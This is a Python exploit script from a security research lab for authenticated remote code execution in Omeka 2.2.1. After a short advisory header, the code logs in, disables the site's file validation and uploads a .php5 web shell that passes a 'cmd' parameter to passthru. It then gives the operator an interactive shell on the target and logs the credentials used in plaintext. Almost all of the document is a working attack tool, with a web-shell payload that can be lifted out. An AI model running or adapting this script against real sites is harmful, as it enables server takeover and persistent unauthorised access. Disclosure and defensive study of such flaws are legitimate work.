#!/usr/bin/env python
#
#
# Omeka 2.2.1 Remote Code Execution Exploit
#
#
# Vendor: Omeka Team (CHNM GMU)
# Product web page: http://www.omeka.org
# Affected version: 2.2.1 and 2.2
#
# Summary: Omeka is a free, flexible, and open source web-publishing
# platform for the display of library, museum, archives, and scholarly
# collections and exhibitions. Its 'five-minute setup' makes launching
# an online exhibition as easy as launching a blog.
#
# Desc: Omeka suffers from an authenticated arbitrary PHP code execution.
# The vulnerability is caused due to the improper verification of
# uploaded files in '/admin/items/add' script thru the 'file[0]' POST
# parameter. This can be exploited to execute arbitrary PHP code by
# uploading a malicious PHP script file that will be stored in
# '/files/original' directory after successfully disabling the file
# validation option (or adding something like 'application/x-php' into the
# allowed MIME types list) and bypassing the rewrite rule in the '.htaccess'
# file with '.php5' extension.
#
# .htaccess fix by vendor:
# -------------------------------------------------------
# Line 29: -RewriteRule !\.php$ - [C]
# Line 29: +RewriteRule !\.(php[0-9]?|phtml|phps)$ - [C]
# -------------------------------------------------------
#
# - Role permission for disabling validation and uploading files: Super
# - Role permission for uploading files: Super, Admin
#
# Ref: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php
#
# Tested on: Kali Linux 3.7-trunk-686-pae
# Apache/2.2.22 (Debian)
# PHP 5.4.4-13(apache2handler)
# MySQL 5.5.28
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2014-5194
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5194.php
#
#
# 16.07.2014
#
#
version = '2.0.0.251'
import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re
from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError
init()
if os.name == 'posix': os.system('clear')
if os.name == 'nt': os.system('cls')
piton = os.path.basename(sys.argv[0])
def bannerche():
print '''
@---------------------------------------------------------------@
| |
| Omeka 2.2.1 Remote Code Execution Exploit |
| |
| |
| ID: ZSL-2014-5194 |
| |
| Copyleft (c) 2014, Zero Science Lab |
| |
@---------------------------------------------------------------@
'''
if len(sys.argv) < 3:
print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'
print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk omeka\n'
sys.exit()
bannerche()
print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET
host = sys.argv[1]
path = sys.argv[2]
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
try:
opener.open('http://'+host+'/'+path+'/admin/users/login')
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET
print
sys.exit()
print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Login please.'
username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')
login_data = urllib.urlencode({
'username' : username,
'password' : password,
'remember' : '0',
'submit' : 'Log In'
})
login = opener.open('http://'+host+'/'+path+'/admin/users/login', login_data)
auth = login.read()
for session in cj:
sessid = session.name
print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET
if re.search(r'Login information incorrect. Please try again.', auth):
print '\x20\x20[*] Faulty credentials given '+'.'*30+Fore.RED+'[ER]'+Fore.RESET
print
sys.exit()
else:
print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET
disable_file_validation = urllib.urlencode({
'disable_default_file_validation' : '1',
'submit' : 'Save+Changes'
})
opener.open('http://'+host+'/'+path+'/admin/settings/edit-security', disable_file_validation)
print '\x20\x20[*] Disabling file validation '+'.'*29+Fore.GREEN+'[OK]'+Fore.RESET
class MultiPartForm(object):
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary
def add_field(self, name, value):
self.form_fields.append((name, value))
return
def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return
def __str__(self):
parts = []
part_boundary = '--' + self.boundary
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)
parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)
flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)
if __name__ == '__main__':
form = MultiPartForm()
form.add_field('public', '1')
form.add_field('submit', 'Add Item')
form.add_file('file[0]', 'thricerbd.php5',
fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))
request = urllib2.Request('http://'+host+'/'+path+'/admin/items/add')
request.add_header('User-agent', 'joxypoxy 2.0')
body = str(form)
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
checkitemid = urllib2.urlopen(request).read()
itemid = re.search('The item #(\d+)', checkitemid).group(1)
print '\x20\x20[*] Getting item ID '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Item ID: '+Fore.YELLOW+itemid+Fore.RESET
checkfileid = opener.open('http://'+host+'/'+path+'/admin/items/show/'+itemid)
fileid = re.search('/admin/files/show/(\d+)', checkfileid.read()).group(1)
print '\x20\x20[*] Getting file ID '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] File ID: '+Fore.YELLOW+fileid+Fore.RESET
print '\x20\x20[*] Getting file name '+'.'*37+Fore.GREEN+'[OK]'+Fore.RESET
checkhash = opener.open('http://'+host+'/'+path+'/admin/files/show/'+fileid)
hashfile = re.search('/files/original/(.+?).php5', checkhash.read()).group(1)
print '\x20\x20[*] File name: '+Fore.YELLOW+hashfile+'.php5'+Fore.RESET
print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET
time.sleep(1)
furl = '/files/original/'+hashfile+'.php5'
print
today = datetime.date.today()
fname = 'omeka-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'
logging.basicConfig(filename=fname,level=logging.DEBUG)
logging.info(' '+'+'*75)
logging.info(' +')
logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))
logging.info(' + Title: Omeka 2.2.1 Remote Code Execution Exploit')
logging.info(' + Python program executed: '+sys.argv[0])
logging.info(' + Version: '+version)
logging.info(' + Full query: \''+piton+'\x20'+host+'\x20'+path+'\'')
logging.info(' + Username input: '+username)
logging.info(' + Password input: '+password)
logging.info(' + Vector: '+'http://'+host+'/'+path+furl)
logging.info(' +')
logging.info(' + Advisory ID: ZSL-2014-5194')
logging.info(' + Zero Science Lab - http://www.zeroscience.mk')
logging.info(' +')
logging.info(' '+'+'*75+'\n')
print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET
raw_input()
while True:
try:
cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)
execute = opener.open('http://'+host+'/'+path+furl+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)
print Style.BRIGHT+Fore.CYAN
cmdout = pattern.match(reverse)
print cmdout.groups()[0].strip()
print Style.RESET_ALL+Fore.RESET
if cmd.strip() == 'exit':
break
logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')
except Exception:
break
logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')
print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET
print
sys.exit()
##EDB-Note: Web server has to be able to interpret .php5 files
